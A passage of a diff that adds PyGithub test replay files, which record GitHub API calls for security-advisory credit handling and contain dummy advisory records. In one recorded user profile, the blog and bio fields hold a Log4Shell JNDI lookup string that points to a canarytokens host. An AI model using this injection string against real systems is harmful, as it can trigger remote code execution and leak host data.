"https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-jpcm-4485-69p7", "type": "GHSA" }, { "value": "CVE-2021-21361", "type": "CVE" } ], "state": "published", "created_at": "2021-03-01T14:48:05Z", "updated_at": "2021-03-12T16:10:55Z", "published_at": "2021-03-08T17:44:33Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.bmuschko:gradle-vagrant-plugin" }, "vulnerable_version_range": "0.6<, < 3.0.0", "patched_versions": "3.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "score": 7.4 }, "cwes": [ { "cwe_id": "CWE-532", "name": "Insertion of Sensitive Information into Log File" }, { "cwe_id": "CWE-779", "name": "Logging of Excessive Data" } ], "cwe_ids": [ "CWE-532", "CWE-779" ], "credits": [ { "login": "britter", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "britter", "id": 1327662, "node_id": "MDQ6VXNlcjEzMjc2NjI=", "avatar_url": "https://avatars.githubusercontent.com/u/1327662?v=4", "gravatar_id": "", "url": "https://api.github.com/users/britter", "html_url": "https://github.com/britter", "followers_url": "https://api.github.com/users/britter/followers", "following_url": "https://api.github.com/users/britter/following{/other_user}", "gists_url": "https://api.github.com/users/britter/gists{/gist_id}", "starred_url": "https://api.github.com/users/britter/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/britter/subscriptions", "organizations_url": "https://api.github.com/users/britter/orgs", "repos_url": "https://api.github.com/users/britter/repos", "events_url": "https://api.github.com/users/britter/events{/privacy}", "received_events_url": "https://api.github.com/users/britter/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] } ] diff --git a/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt b/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt new file mode 100644 index 0000000000..fea49c71e6 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 20:49:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"752c50ea4418d5a955c86978a94775b8963dba736b2e51ee34e8f219d61062cf"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1680209691'), ('X-RateLimit-Used', '138'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF93:20BD:172867:2FBB1E:6425F5D4')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} diff --git a/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt b/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt new file mode 100644 index 0000000000..282efe5617 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt @@ -0,0 +1,21 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '77'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAFF:0324:7AA77E8:FB2E11E:64260245')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f198359a2107c042d58ecf72395d46274b3b12337f85384a4019b616c62a67a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4922'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '78'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB00:475B:295BC8:551DDE:64260246')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} diff --git a/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt b/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt new file mode 100644 index 0000000000..20d1ff4f26 --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testRemoveCredit.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"credits": []} +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 19:04:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a5b5fadc5ecef7df034508971debefa3dac9324c6dbe6a06e399026c5ff5ec3e"'), ('Last-Modified', 'Tue, 28 Mar 2023 21:41:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1680206007'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D88C:0FC0:1C7A795:3A9AF22:6425DD32')] +{"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2050-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2050-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-28T21:41:40Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} diff --git a/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt b/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt new file mode 100644 index 0000000000..4c2898d7cb --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testRepositoryWithNoAdvisories.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/user +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"00fb1f6d00e55be8de5b35d8bbdce396baa8511d61b19e245256debb8a600f6a"'), ('Last-Modified', 'Mon, 13 Mar 2023 16:02:40 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '68'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F3:579F:33D97B:6A74C9:64260736')] +{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false,"name":"Jonathan Leitschuh","company":"@ossf ","blog":"${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}","location":"Boston, MA","email":"jonathan.leitschuh@gmail.com","hireable":null,"bio":"Software Engineer & Security Researcher;\r\n\r\nFirst Dan Kaminsky Fellow @ HUMAN Security;\r\n\r\n${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken","twitter_username":"JLLeitschuh","public_repos":1514,"public_gists":33,"followers":651,"following":65,"created_at":"2012-01-12T04:25:37Z","updated_at":"2023-03-13T16:02:40Z"} + +https +GET +api.github.com +None +/repos/JLLeitschuh/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67f04d9707348c76ec715daf2a8b7b3707c850c088d1a13b2fc622cdf2e036e7"'), ('Last-Modified', 'Mon, 10 Feb 2020 03:37:22 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4931'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '69'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F5F4:0A4D:2CF778:5CBB0D:64260736')] 